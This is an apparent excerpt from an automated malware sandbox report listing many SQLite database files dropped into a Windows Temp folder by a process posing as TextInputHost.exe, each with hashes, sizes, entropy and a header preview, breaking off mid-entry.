C:\Users\user\AppData\Local\Temp\SdQ8CBOmDJ

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Shcb9kGAT3

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TYn1HX3cCI

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Tcospfv2hr

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ti4Tkm9OtL

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TtotXXRAuK

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TzItrV6TUu

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TzJDfpFg6y

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U9UUZYM9qr

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UOdQArHK26

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UYaS657NEW

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UbA9Fz0GWE

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VSx25Xi4x4

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vs8QVfuSuX

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vt01Tt2txq

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WX2b2Rvp6Q

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WZFLfI9qo7

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WbOGzfxMWR

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Wq8o8zlvIG

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WriVjtXA14

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XN5yLpXkyS

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XSBclQeJJx

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XVDtAXeVFG

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XVFZSWo8G0

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XvVI0Wg97F

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Y0zzfOnKne

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZPSQYXwlXg

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
